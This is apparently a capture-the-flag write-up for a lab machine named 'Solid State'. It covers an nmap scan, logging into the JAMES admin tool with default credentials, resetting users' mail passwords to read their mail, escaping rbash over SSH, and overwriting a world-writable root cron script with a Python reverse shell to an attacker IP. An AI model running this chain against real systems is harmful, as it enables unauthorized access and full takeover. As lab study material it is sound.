Solid State

Nmap :p

nmap -sC -sV -p- 10.129.68.186
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp   open  smtp    JAMES smtpd 2.3.2
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?

A whole mail server, Apache JAMES 2.3.2. Port 4555 is the JAMES Remote Administration Tool, and it still has the default creds root:root.

nc 10.129.68.186 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

As the admin we can reset anyone’s mail password, and pop3 is open on 110. So we change each user’s password to bruh123 and read their mail:

setpassword mindy bruh123
setpassword john bruh123
...
telnet 10.129.68.186 110
USER mindy
PASS bruh123
LIST
RETR 2

Looking through all the mailboxes, mindy has 2 mails and one of them has creds:

Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

User

Logging in over SSH works, but mindy’s shell is rbash (restricted bash), which was annoying. Since the restriction gets set up when the shell loads, we can just ask SSH to start a different bash with no profile to get an unrestricted shell:

ssh mindy@10.129.68.186 -t "bash --noprofile"

We can grab the user flag here.

Privesc

Checking /opt we find tmp.py, which is owned by root but writable by everyone:

mindy@solidstate:/opt$ ls -la /opt/tmp.py
-rwxrwxrwx 1 root root ... tmp.py

It’s a little cleanup script that wipes /tmp, and it’s being run by root on a cron job every few minutes. Root runs it but we can edit it, so we just replace it with a reverse shell:

mindy@solidstate:/opt$ cat > /opt/tmp.py << 'EOF'
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.17.229",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
EOF
nc -lvnp 4444

Wait about 3 minutes and get root.

Ez gg.